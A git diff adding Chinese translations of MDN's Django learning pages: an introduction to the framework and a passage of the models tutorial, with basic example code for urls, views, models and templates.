<dt><a href="/zh-CN/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></dt> + <dd>在这个评估中,你将使用你从本单元中学到的一些知识来创建自己的博客。</dd> +</dl> diff --git a/files/zh-cn/learn/server-side/django/introduction/index.html b/files/zh-cn/learn/server-side/django/introduction/index.html new file mode 100644 index 0000000000..4bb940e2f3 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/introduction/index.html @@ -0,0 +1,268 @@ +--- +title: Django 介绍 +slug: learn/Server-side/Django/Introduction +translation_of: Learn/Server-side/Django/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div> + +<p class="summary">在这第一Django文章中,我们将回答“什么是Django”这个问题,并概述这个网络框架有什么特性。我们将描述主要功能,包括一些高级功能,但我们并不会在本单元中详细介绍。我们还会展示一些Django应用程序的主要构建模块(尽管此时你还没有要测试的开发环境)。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>基本的电脑知识. 对 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps">服务器端网站编程的一般了解</a>, 特别是 <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">网站中客户端-服务器交互的机制</a>.</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>了解Django是什么,它提供了哪些功能,以及Django应用程序的主要构建块。</td> + </tr> + </tbody> +</table> + +<h2 id="Django是什么">Django是什么?</h2> + +<p>Django 是一个高级的 Python 网络框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django负责处理网站开发中麻烦的部分,因此你可以专注于编写应用程序,而无需重新开发。<br> + 它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。</p> + +<p>Django 可以使你的应用具有以下优点:</p> + +<dl> + <dt>完备性</dt> + <dd>Django遵循“功能完备”的理念,提供开发人员可能想要“开箱即用”的几乎所有功能。因为你需要的一切都是一个”产品“的一部分,它们都可以无缝结合在一起,遵循一致性设计原则,并且具有广泛和<a href="https://docs.djangoproject.com/en/1.10/">最新的文档</a>.</dd> + <dt>通用性</dt> + <dd>Django 可以(并已经)用于构建几乎任何类型的网站—从内容管理系统和维基,到社交网络和新闻网站。它可以与任何客户端框架一起工作,并且可以提供几乎任何格式(包括 HTML,Rss源,JSON,XML等)的内容。你正在阅读的网站就是基于Django。<br> + <br> + 在内部,尽管它为几乎所有可能需要的功能(例如几个流行的数据库,模版引擎等)提供了选择,但是如果需要,它也可以扩展到使用其他组件。</dd> + <dt>安全性</dt> + <dd>Django 帮助开发人员通过提供一个被设计为“做正确的事情”来自动保护网站的框架来避免许多常见的安全错误。例如,Django提供了一种安全的方式来管理用户账户和密码,避免了常见的错误,比如将session放在cookie中这种易受攻击的做法(取而代之的是cookies只包含一个密钥,实际数据存储在数据库中)或直接存储密码而不是密码哈希。<br> + <br> + 密码哈希是通过<em><a href="https://en.wikipedia.org/wiki/Cryptographic_hash_function">密码散列函数</a>发送密码而创建的固定长度值。 Django 能通过运行哈希函数来检查输入的密码-就是-将输出的哈希值与存储的哈希值进行比较是否正确。然而由于功能的“单向”性质,即时存储的哈希值受到威胁,攻击者也难以解决原始密码。(但其实有彩虹表-译者观点)</em><br> + <br> + 默认情况下,Django 可以防范许多漏洞,包括SQL注入,跨站点脚本,跨站点请求伪造和点击劫持 (请参阅 <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">网站安全</a> 相关信息,如有兴趣).</dd> + <dt>可扩展</dt> + <dd>Django 使用基于组件的 “<a href="https://en.wikipedia.org/wiki/Shared_nothing_architecture">无共享</a>” 架构 (架构的每一部分独立于其他架构,因此可以根据需要进行替换或更改). 在不用部分之间有明确的分隔意味着它可以通过在任何级别添加硬件来扩展服务:缓存服务器,数据库服务器或应用程序服务器。一些最繁忙的网站已经成功地缩放了Django,以满足他们的需求(例如Instagram和Disqus,仅举两个例子,可自行添加)。</dd> + <dt>可维护性</dt> + <dd>Django 代码编写是遵照设计原则和模式,鼓励创建可维护和可重复使用的代码。特别是它使用了不要重复自己(DRY)原则,所以没有不必要的重复,减少了代码的数量。Django还将相关功能分组到可重用的“应用程序”中,并且在较低级别将相关代码分组或模块( <a href="/en-US/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">模型视图控制器 (MVC)</a> 模式).</dd> + <dt>灵活性</dt> + <dd>Django 是用Python编写的,它在许多平台上运行。这意味着你不受任务特定的服务器平台的限制,并且可以在许多种类的Linux,Windows和Mac OsX 上运行应用程序。此外,Django得到许多网络托管提供商的好评,他们经常提供特定的基础设施和托管Django网站的文档。</dd> +</dl> + +<h2 id="它的出生">它的出生?</h2> + +<p>Django 最初由2003年到2005年间由负责创建和维护报纸网站的网络团队开发。在创建了许多网站后,团队开始考虑并重用许多常见的代码和设计模式。这个共同的代码演变一个通用的网络开发框架,2005年7月被开源“Django”项目。</p> + +<p>Django 不断发展壮大—从2008年9月的第一个里程碑版本(1.0)到最近发布的(1.11)-(2017)版本。每个版本都添加了新功能和错误修复,从支持新类型的数据库,模版引擎和缓存,到添加“通用”视图函数和类(这减少了开发人员必须编写的代码量)一些编程任务。</p> + +<div class="note"> +<p><strong>注意</strong>: 查看Django网站上<span style="line-height: 1.5;"> <a href="https://docs.djangoproject.com/en/1.10/releases/">发行说明</a>,看看最近版本发生了什么变化,以及Django能做多少工作。</span></p> +</div> + +<p>Django 现在是一个蓬勃发展的合作开源项目<span style="line-height: 1.5;">,拥有数千个用户和贡献着。虽然它仍然具有反映其起源的一些功能,但Django已经发展成为能够开发任何类型的网站的多功能框架。 </span></p> + +<h2 id="Django有多受欢迎">Django有多受欢迎?</h2> + +<p>服务器端框架的受欢迎程度没有任何可靠和明确的测量(尽管<a href="http://hotframeworks.com/">Hot Frameworks</a>网站 尝试使用诸如计算每个平台的GitHub项目数量和StackOverflow问题的机制来评估流行度)。一个更好的问题是Django是否“足够流行”,以避免不受欢迎的平台的问题。它是否继续发展?如果您需要帮助,可以帮您吗?如果您学习Django,有机会获得付费工作吗?</p> + +<p>基于使用Django的流行网站数量,为代码库贡献的人数以及提供免费和付费支持的人数,那么是的,Django是一个流行的框架!</p> + +<p>使用Django的流行网站包括:Disqus,Instagram,骑士基金会,麦克阿瑟基金会,Mozilla,国家地理,开放知识基金会,Pinterest和开放栈(来源:<a href="https://www.djangoproject.com/">Django home page</a>).</p> + +<h2 id="Django_是特定">Django 是特定?</h2> + +<p>Web框架通常将自己称为“特定”或“无限制”。</p> + +<p>特定框架是对处理任何特定任务的“正确方法”有意见的框架。他们经常支持特定领域的快速发展(解决特定类型的问题),因为正确的做法是通常被很好地理解和记录在案。然而,他们在解决其主要领域之外的问题时可能不那么灵活,并且倾向于为可以使用哪些组件和方法提供较少的选择。</p> + +<p>相比之下,无限制的框架对于将组件粘合在一起以实现目标或甚至应使用哪些组件的最佳方式的限制较少。它们使开发人员更容易使用最合适的工具来完成特定任务,尽管您需要自己查找这些组件。</p> + +<p>Django“有点有意义”,因此提供了“两个世界的最佳”。它提供了一组组件来处理大多数Web开发任务和一个(或两个)首选的使用方法。然而,Django的解耦架构意味着您通常可以从多个不同的选项中进行选择,也可以根据需要添加对全新的支持。</p> + +<h2 id="Django代码是什么样的">Django代码是什么样的?</h2> + +<p>在传统的数据驱动网站中,Web应用程序会等待来自Web浏览器(或其他客户端)的 HTTP 请求。当接收到请求时,应用程序根据 URL 和可能的 POST 数据或 GET 数据中的信息确定需要的内容。根据需要,可以从数据库读取或写入信息,或执行满足请求所需的其他任务。然后,该应用程序将返回对Web浏览器的响应,通常通过将检索到的数据插入 HTML模板中的占位符来动态创建用于浏览器显示的 HTML 页面。</p> + +<p>Django 网络应用程序通常将处理每个步骤的代码分组到单独的文件中:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<ul> + <li><strong>URLs: </strong>虽然可以通过单个功能来处理来自每个URL的请求,但是编写单独的视图函数来处理每个资源是更加可维护的。URL映射器用于根据请求URL将HTTP请求重定向到相应的视图。URL映射器还可以匹配出现在URL中的字符串或数字的特定模式,并将其作为数据传递给视图功能。<br> + </li> + <li><strong>View:</strong> 视图 是一个请求处理函数,它接收HTTP请求并返回HTTP响应。视图通过模型访问满足请求所需的数据,并将响应的格式委托给 模板。<br> + </li> + <li><strong>Models:</strong> 模型 是定义应用程序数据结构的Python对象,并提供在数据库中管理(添加,修改,删除)和查询记录的机制。<br> + </li> + <li><strong>Templates:</strong> 模板 是定义文件(例如HTML页面)的结构或布局的文本文件,用于表示实际内容的占位符。一个视图可以使用HTML模板,从数据填充它动态地创建一个HTML页面模型。可以使用模板来定义任何类型的文件的结构; 它不一定是HTML!</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: Django将此组织称为“模型视图模板(MVT)”架构。它与更加熟悉的 <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model View Controller</a> 架构有许多相似之处. </p> +</div> + +<ul> +</ul> + +<p>以下部分将为您提供Django应用程序的这些主要部分的想法(稍后我们将在进一步详细介绍后,我们将在开发环境中进行更详细的介绍)。</p> + +<h3 id="将请求发送到正确的视图_(urls.py)">将请求发送到正确的视图 (urls.py)</h3> + +<p>URL映射器通常存储在名为urls.py的文件中。在下面的示例中,mapper(urlpatterns)定义了特定URL 模式 和相应视图函数之间的映射列表。如果接收到具有与指定模式匹配的URL(例如r'^$',下面)的HTTP请求,则将调用 相关联的视图功能(例如 views.index)并传递请求。</p> + +<pre>urlpatterns = [ + <strong>url(r'^$', views.index),</strong> + url(r'^([0-9]+)/$', views.best), +] +</pre> + +<div class="note"> +<p><strong>注意</strong>: 一点点Python:</p> + +<ul> + <li>该 <code>urlpatterns</code> 对象的列表url() 功能。在Python中,使用方括号定义列表。项目以逗号分隔,并可能有一个 <a href="https://docs.python.org/2/faq/design.html#why-does-python-allow-commas-at-the-end-of-lists-and-tuples">可选的逗号</a>. 例如: <code>[item1, item2, item3,]</code>.</li> + <li>该模式的奇怪的语法称为正则表达式。我们将在后面的文章中讨论这些内容!</li> + <li>第二个参数 url() 是当模式匹配时,将被调用的另一个函数。符号views.index 表示该函数被调用,index()并且可以在被调用的模块中找到views (即在一个名为views.py的文件中)。</li> +</ul> +</div> + +<h3 id="处理请求_(views.py)">处理请求 (views.py)</h3> + +<p>视图是Web应用程序的核心,从Web客户端接收HTTP请求并返回HTTP响应。在两者之间,他们编制框架的其他资源来访问数据库,渲染模板等。</p> + +<p>下面的例子显示了一个最小的视图功能index(),这可以通过我们的URL映射器在上一节中调用。像所有视图函数一样,它接收一个HttpRequest对象作为参数(request)并返回一个HttpResponse对象。在这种情况下,我们对请求不做任何事情,我们的响应只是返回一个硬编码的字符串。我们会向您显示一个请求,在稍后的部分中会提供更有趣的内容。</p> + +<pre class="brush: python">## filename: views.py (Django view functions) + +from django.http import HttpResponse + +def index(request): + # Get an HttpRequest - the request parameter + # perform operations using information from the request. + # Return HttpResponse + return HttpResponse('Hello from Django!') +</pre> + +<div class="note"> +<p><strong>注意</strong>: 一点点Python:</p> + +<ul> + <li><a href="https://docs.python.org/3/tutorial/modules.html">Python 模块</a> 是函数的“库”,存储在单独的文件中,我们可能想在我们的代码中使用它们。在这里我们只从django.http模块导入了HttpResponse对象,使我们可以在视图中使用它:<br> + from django.http import HttpResponse。<br> + 还有其他方法可以从模块导入一些或所有对象。</li> + <li> + <p>如上所示,使用<code>def</code>关键字声明函数<strong>,</strong>在函数名称后面的括号中列出命名参数;整行以冒号结尾。注意下一行是否都进行了<strong>缩进</strong>。缩进很重要,因为它指定代码行在该特定块内 (强制缩进是Python的一个关键特征,也是Python代码很容易阅读的一个原因)。</p> + </li> +</ul> +</div> + +<ul> +</ul> + +<p>视图通常存储在一个名为 <strong>views.py</strong> 的文件中。</p> + +<h3 id="定义数据模型_(models.py)">定义数据模型 (models.py)</h3> + +<p>Django Web应用程序通过被称为模型的Python对象来管理和查询数据。模型定义存储数据的结构,包括字段类型 以及字段可能的最大值,默认值,选择列表选项,文档帮助文本,表单的标签文本等。模型的定义与底层数据库无关 -您可以选择其中一个作为项目设置的一部分。一旦您选择了要使用的数据库,您就不需要直接与之交谈 - 只需编写模型结构和其他代码,Django可以处理与数据库通信的所有辛苦的工作。</p> + +<p>下面的代码片段为<strong>Team</strong>对象展示了一个非常简单的Django模型。本<strong>Team</strong>类是从Django的类派生<strong>models.Model</strong>。它将团队名称和团队级别定义为字符字段,并为每个记录指定了要存储的最大字符数。<strong>team_level</strong> 可以是几个值中的一个,因此,我们将其定义为一个选择字段,并在被展示的数据和被储存的数据之间建立映射,并设置一个默认值。</p> + +<p> </p> + +<pre class="brush: python"># filename: models.py + +from django.db import models + +class Team(models.Model): + team_name = models.CharField(max_length=40) + + TEAM_LEVELS = ( + ('U09', 'Under 09s'), + ('U10', 'Under 10s'), + ('U11', 'Under 11s'), + ... #list other team levels + ) + team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') +</pre> + +<div class="note"> +<p><strong>注意</strong>: Python小知识:</p> + +<ul> + <li>Python支持“面向对象编程”,这是一种编程风格,我们将代码组织到对象中,其中包括用于对该对象进行操作的相关数据和功能。对象也可以从其他对象继承/扩展/派生,允许相关对象之间的共同行为被共享。在Python中,我们使用关键字<strong> Class </strong>定义对象的“蓝图”。我们可以根据类中的模型创建类型的多个 特定 实例。</li> + <li><br> + 例如,我们有个 <strong>Team</strong> 类,它来自于<strong>Model</strong>类。这意味着它是一个模型,并且将包含模型的所有方法,但是我们也可以给它自己的专门功能。在我们的模型中,我们定义了我们的数据库需要存储我们的数据字段,给出它们的具体名称。Django使用这些定义(包括字段名称)来创建底层数据库。</li> +</ul> +</div> + +<h3 id="查询数据_(views.py)">查询数据 (views.py)</h3> + +<p>Django模型提供了一个用于搜索数据库的简单查询API。这可以使用不同的标准(例如,精确,不区分大小写,大于等等)来匹配多个字段,并且可以支持复杂语句(例如,您可以在拥有一个团队的<strong> U11 </strong>团队上指定搜索名称以“Fr”开头或以“al”结尾)。</p> + +<p>代码片段显示了一个视图函数(资源处理程序),用于显示我们所有的<strong> U09 </strong>团队。粗体显示如何使用模型查询API过滤所有记录,其中该 <strong>team_level</strong> 字段具有正确的文本“<strong>U09</strong>”(请注意,该条件如何filter()作为参数传递给该函数,该字段名称和匹配类型由双下划线: <strong> team_level__exact</strong>)</p> + +<pre class="brush: python">## filename: views.py + +from django.shortcuts import render +from .models import Team + +def index(request): + <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong> + context = {'youngest_teams': list_teams} + return <strong>render</strong>(request, '/best/index.html', context) +</pre> + +<dl> +</dl> + +<p>此功能使用 <strong>render</strong>() 功能创建 <strong>HttpResponse</strong> 发送回浏览器的功能。这个函数是一个快捷方式;它通过组合指定的HTML模版和一些数据来插入模版(在名为 “<strong>context</strong>” 的变量中提供)来创建一个<strong>HTML</strong>文件。在下一节中,我们将介绍如何在其中插入数据以创建<strong>HTML</strong>。</p> + +<h3 id="呈现数据_(HTML_模版)">呈现数据 (HTML 模版)</h3> + +<p>模版系统允许你指定输出文档的结构,使用<br> + 占位符<br> + {% if youngest_teams%}<br> + 来生成页面时填写的数据。模版通常用于创建HTMl,但也可以创建其他类型的文档。Django支持其原生模版系统和另一种流行的Python库(称为jinja2)开箱即用(如果需要,也可以支持其他系统)。</p> + +<p>代码片段显示render()了上一节中函数调用的HTML模版的外观。这个模版已经被写入这样的想法,即它将被访问一个列表变量,<br> + youngest_teams当它被渲染时</p> + +<pre class="brush: python">## filename: best/templates/best/index.html + +<!DOCTYPE html> +<html lang="en"> +<body> + + {% if youngest_teams %} + <ul> + {% for team in youngest_teams %} + <li>\{\{ team.team_name \}\}</li> + {% endfor %} + </ul> +{% else %} + <p>No teams are available.</p> +{% endif %} + +</body> +</html></pre> + +<h2 id="你还能做什么?">你还能做什么?</h2> + +<p>前面的部分显示了几乎每个Web应用程序将使用的主要功能:URL映射,视图,模型和模版。Django提供的其他内容包括:</p> + +<ul> + <li><strong>表单</strong>: HTML 表单用于收集用户数据以便在服务器上进行处理。Django简化了表单创建,验证和处理。</li> + <li><strong>用户身份验证和权限</strong>: Django包含了一个强大的用户身份验证和权限系统,该系统已经构建了安全性。</li> + <li><strong>缓存</strong>: 与提供静态内容相比,动态创建内容需要更大的计算强度(也更缓慢)。Django提供灵活的缓存,以便你可以存储所有或部分的页面。如无必要,不会重新呈现网页。</li> + <li><strong>管理网站</strong>: 当你使用基本骨架创建应用时,就已经默认包含了一个Django管理站点。它十分轻松地创建了一个管理页面,使网站管理员能够创建、编辑和查看站点中的任何数据模型。</li> + <li><strong>序列化数据</strong>: Django可以轻松地将数据序列化,并支持XML或JSON格式。这会有助于创建一个Web服务(Web服务指数据纯粹为其他应用程序或站点所用,并不会在自己的站点中显示),或是有助于创建一个由客户端代码处理和呈现所有数据的网站。</li> +</ul> + +<h2 id="概要">概要</h2> + +<p>恭喜,您已经完成了Django之旅的第一步!您现在应该了解Django的主要优点,一些关于它的历史,以及Django应用程序的每个主要部分可能是什么样子。您还应该了解Python编程语言的一些内容,包括列表,函数和类的语法。</p> + +<p>您已经看到上面的一些真正的Django代码,但与客户端代码不同,您需要设置一个开发环境来运行它。这是我们的下一步。</p> + +<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div> diff --git a/files/zh-cn/learn/server-side/django/models/index.html b/files/zh-cn/learn/server-side/django/models/index.html new file mode 100644 index 0000000000..23975c8d7a --- /dev/null +++ b/files/zh-cn/learn/server-side/django/models/index.html @@ -0,0 +1,449 @@ +--- +title: 'Django Tutorial Part 3: 使用模型' +slug: learn/Server-side/Django/Models +translation_of: Learn/Server-side/Django/Models +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</div> + +<div>这篇文章展示了如何为我们的LocalLibray(本地图书馆)网站定义models。它解释了一个模型是什么,它是怎么被声明的,和其中的一些主要域类型。</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a>.</td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>能够设计并创建你自己的数据模型,并为其合适地选择域。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>Django网络应用通过作为模型被参照的Python对象访问并管理数据。模型定义了储存数据的结构,包括域类型和可能的最大值,默认值,可选择的列表,帮助理解文档的文本,表格内的标签文本,等等。模型的定义是独立于数据库的——你可以为你自己的项目设置选择一种。一旦你已经选择了你想用的数据库,你不需要直接谈论它——你只是写出你的模型结构和其他代码,然后Django会为你处理所有繁琐的和数据库打交道的工作。</p> + +<p>这个教程展示了如何定义并访问 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary website</a> 的模型。</p> + +<h2 id="设计LocalLibaray模型">设计LocalLibaray模型</h2> + +<p>在你继续开始为模型写代码前,用几分钟考虑一下我们需要储存什么数据和不同对象之间的关系是很有价值的。</p> + +<p>我们知道我们需要存储书籍(书名,简介,作者,写作语言,类别,ISBN编号)和我们可能有的可获取的副本数量(全局独立ID,可获取状态,等等)。我们可能需要存储更多的关于作者的信息而不仅仅是她们的名字。我们希望能够将信息根据书名,作者,写作语言和类别分类。</p> + +<p>当设计你的模型时,给予每个“对象”(一组关联信息)独立的模型似乎挺说得通的。当前情况下,最为明显的对象就是书籍和作者。</p> + +<p>你可能在想相比硬编码所有的选项到网站上,用模型来呈现选择列表(例如包括了许多选项的下拉菜单)——我们推荐这样,尤其是当选项未知或者可能改变时。显然,目前模型的候选者包括了书的流派(例如科幻小说,法国诗歌,等等)和语言(英语,法语,日语)。</p> + +<p>一旦我们决定了模型和域,我们需要考虑他们的关系。Django允许你定义一对一 (<code>OneToOneField</code>),一对多(<code>ForeignKey</code>)和多对多(<code>ManyToManyField</code>)的关系。(译者注:此处我们以关系型数据库为基准,如果采用NoSQL,如MangoDB则无法如此考虑)</p> + +<p>思考着以上内容,以下的UML关系表显示了我们在该例子里定义的模型。如上所述哦,我们已经为书籍(大概的细节),书籍实例(物理副本是否可获取状态)和作者创建了模型。我们也决定了为流派而创建的模型,所以变量值可以通过管理界面获取。此外,我们决定了不创建 <code>BookInstance:status</code>的模型——我们已经硬编码了这个值(<code>LOAN_STATUS</code>)因为我们不期望这些被改变。通过每个方框你可以看到模型名字,值域名和类型,还有方法和返回的类型。</p> + +<p>这个图表也显示了模型之间的关系, including their <em>multiplicities</em>. 这些在图表里每个模型边上的数字(最大和最小)显示了他们的关系。 例如,链接Book和Genre两个盒子的线表示它们是关联的。 靠近Book模型的数字显示一本书必须有一个或多个Genre(要多少有多少),然而另一端靠近Genre的数字显示了它可以有零或无数本相关的书籍。</p> + +<p><img alt="LocalLibrary Model UML - v3" src="https://mdn.mozillademos.org/files/14021/local_library_model_uml_v0_1.png" style="height: 660px; width: 937px;"></p> + +<div class="note"> +<p><strong>Note</strong>: 下一部分提供了基本的关于模型如何被定义和使用的解释。边阅读,边考虑以下我们是如何根据以上的图标构建数据库内的模型的。</p> +</div> + +<h2 id="Model_primer">Model primer</h2> + +<p>This section provides a brief overview of how a model is defined and some of the more important fields and field arguments.</p> + +<h3 id="Model_definition">Model definition</h3> + +<p>Models are usually defined in an application's <strong>models.py</strong> file. They are implemented as subclasses of <code>django.db.models.Model</code>, and can include fields, methods and metadata. The code fragment below shows a "typical" model, named <code>MyModelName</code>:</p> + +<pre class="notranslate">from django.db import models + +class MyModelName(models.Model): + """ + A typical class defining a model, derived from the Model class. + """ + + # Fields + my_field_name = models.CharField(max_length=20, help_text="Enter field documentation") + ... + + # Metadata + class Meta: + ordering = ["-my_field_name"] + + # Methods + def get_absolute_url(self): + """ + Returns the url to access a particular instance of MyModelName. + """ + return reverse('model-detail-view', args=[str(self.id)]) + + def __str__(self): + """ + String for representing the MyModelName object (in Admin site etc.) + """ + return self.field_name</pre> + +<p>In the below sections we'll explore each of the features inside the model in detail:</p> + +<h4 id="域">域</h4> + +<p>一个模型可以有任意数量的域,或任意的类型——每个用一行呈现我们想存储进数据库的数据。让我们看一下以下的例子吧o(≧v≦)o:</p> + +<pre class="brush: js notranslate">my_field_name = models.CharField(max_length=20, help_text="Enter field documentation")</pre> + +<p>上面的例子有一个单域,叫做my_field_name,类型是models.CharField——这意味着此域会包含着由字母组成的字符串们。域类型被特殊的class赋值,这确认了记录的类型是用来存入数据库的,以及当用户从HTML表格里提交值后,我们用来验证提交的值是否有效的条件。</p> + +<p><font><font><font><font>字段类型还可以获取参数,进一步指定字段如何存放或如何被使用。</font></font></font><font><font><font>在这里的情况下,我们给了字段两个参数:</font></font></font></font></p> + +<ul> + <li><code>max_length=20</code><font><font> <font><font>— 表示此字段中值的最大长度为20个字符的状态。</font></font></font></font></li> + <li><code>help_text="Enter field documentation"</code><font><font> <font><font>— 提供一个帮助用户的文本标签,让用户知道当前透过HTML表单输入时要提供什么值。</font></font></font></font></li> +</ul> + +<p><font><font><font><font>字段名称用于在视图和模版中引用它。</font></font></font><font><font><font>字段还有一个标签,它被指定一个参数(</font></font></font></font><code>verbose_name</code><font><font><font><font>),或者通过大写字段的变量名的第一个字母,并用空格替换下划线(例如</font></font></font></font><code>my_field_name</code><font><font><font><font>的默认标签为My field name )。</font></font></font></font></p> + +<p><font><font><font><font>如果模型在表单中呈现(例如:在管理站点中),则声明该字段的顺序,将影响其默认顺序,但可能会被覆盖。</font></font></font></font></p> + +<h5 id="Common_field_arguments">Common field arguments</h5> + +<p>当声明很多/大多数不同的字段类型时,可以使用以下常用参数:</p> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#help-text" rel="noopener"><font><font><font><font>help_text</font></font></font></font></a><font><font> <font><font> :提供HTML表单文本标签(eg i在管理站点中),如上所述。</font></font></font></font></li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#verbose-name" rel="noopener"><font><font><font><font>verbose_name</font></font></font></font></a><font><font> <font><font> :字段标签中的可读性名称,如果没有被指定,Django将从字段名称推断默认的详细名称。</font></font></font></font></li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#default" rel="noopener"><font><font><font><font>default</font></font></font></font></a><font><font> <font><font> :该字段的默认值。</font></font></font><font><font><font>这可以是值或可呼叫物件(callable object),在这种情况下,每次创建新纪录时都将呼叫该物件。</font></font></font></font></li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#null" rel="noopener"><font><font><font><font>null</font></font></font></font></a><font><font><font><font>:如为</font></font><code>True</code><font><font>,即允许Django于资料库该栏位写入</font></font><code>NULL</code><font><font>(但栏位型态如为</font></font><code>CharField</code><font><font>则会写入空字串)。</font><font>预设值是</font></font><code>False</code><font><font>。</font></font></font></font></li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#blank" rel="noopener"><font><font><font><font>blank</font></font></font></font></a><font><font> <font><font> :如果</font></font></font></font><code><strong><font><font>True</font></font></strong></code><font><font><font><font>,表单中的字段被允许为空白。</font></font></font><font><font><font>默认是</font></font><code>False</code><font><font>,这意味着Django的表单验证将强制你输入一个值。</font></font></font><font><font><font>这通常搭配 </font></font><code>NULL=True</code><font><font> 使用,因为如果要允许空值,你还希望数据库能够适当地表示它们。</font></font></font></font></li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#choices" rel="noopener"><font><font><font><font>choices</font></font></font></font></a><font><font> <font><font> :这是给此字段的一组选项。</font></font></font><font><font><font>如果提供这一项,预设对应的表单部件是「该组选项的列表」,而不是原先的标准文本字段。</font></font></font></font></li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#primary-key" rel="noopener"><font><font><font><font>primary_key</font></font></font></font></a><font><font> <font><font> :如果是True,将当前字段设置为模型的主键(主键是被指定用来唯一辨识所有不同表记录的特殊数据库栏位(column))。</font></font></font><font><font><font>如果没有指定字段作为主键,则Django将自动为此添加一个字段。</font></font></font></font></li> +</ul> + +<p><font><font><font><font>还有许多其他选项—你可以在</font></font></font></font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#field-options" rel="noopener"><font><font><font><font>这里看到完整的字段选项</font></font></font></font></a><font><font><font><font>。</font></font></font></font></p> + +<h5 id="Common_field_types">Common field types</h5> + +<p><font><font><font><font>以下列表描述了一些更常用的字段类型。</font></font></font></font></p> + +<ul> + <li><font><font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#django.db.models.CharField" rel="noopener"><font><font>CharField</font></font></a> </font></font><font><font><font><font>是用来定义短到中等长度的字段字符串。</font></font></font><font><font><font>你必须指定</font></font><code>max_length</code><font><font>要存储的数据。</font></font></font></font></li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#django.db.models.TextField" rel="noopener"><font><font><font><font>TextField </font></font></font></font></a><font><font><font><font>用于大型任意长度的字符串。</font></font></font><font><font><font>你可以</font></font><code>max_length</code><font><font>为该字段指定一个字段,但仅当该字段以表单显示时才会使用(不会在数据库级别强制执行)。</font></font></font></font></li> + <li><font><font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#django.db.models.IntegerField" rel="noopener" title="django.db.models.IntegerField"><font><font>IntegerField</font></font></a> </font></font><font><font><font><font>是一个用于存储整数(整数)值的字段,用于在表单中验证输入的值为整数。</font></font></font></font></li> + <li><font><font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#datefield" rel="noopener"><font><font>DateField</font></font></a> </font></font><font><font><font><font>和</font></font></font></font><font><font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#datetimefield" rel="noopener"><font><font>DateTimeField</font></font></a> </font></font><font><font><font><font>用于存储/表示日期和日期/时间信息(分别是</font></font><code>Python.datetime.date</code><font><font> 和 </font></font><code>datetime.datetime</code><font><font> 对象)。</font><font>这些字段可以另外表明(互斥)参数 </font></font><code>auto_now=Ture</code><font><font>(在每次保存模型时将该字段设置为当前日期),</font></font><code>auto_now_add</code><font><font>(仅设置模型首次创建时的日期)和 </font></font><code>default</code><font><font>(设置默认日期,可以被用户覆盖)。</font></font></font></font></li> + <li><font><font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#emailfield" rel="noopener"><font><font>EmailField</font></font></a> </font></font><font><font><font><font>用于存储和验证电子邮件地址。</font></font></font></font></li> + <li><font><font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#filefield" rel="noopener"><font><font>FileField</font></font></a> </font></font><font><font><font><font>和</font></font></font></font><font><font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#imagefield" rel="noopener"><font><font>ImageField</font></font></a> </font></font><font><font><font><font>分别用于上传文件和图像(</font></font><code>ImageField</code><font><font> 只需添加上传的文件是图像的附加验证)。</font></font></font><font><font><font>这些参数用于定义上传文件的存储方式和位置。</font></font></font></font></li> + <li><font><font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#autofield" rel="noopener"><font><font>AutoField</font></font></a> </font></font><font><font><font><font>是一种 </font></font></font></font><strong><font><font><font><font>IntegerField </font></font></font></font></strong><font><font><font><font>自动递增的特殊类型。</font></font></font><font><font><font>如果你没有明确指定一个主键,则此类型的主键将自动添加到模型中。</font></font></font></font></li> + <li><font><font><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#foreignkey" rel="noopener"><font><font>ForeignKey</font></font></a> 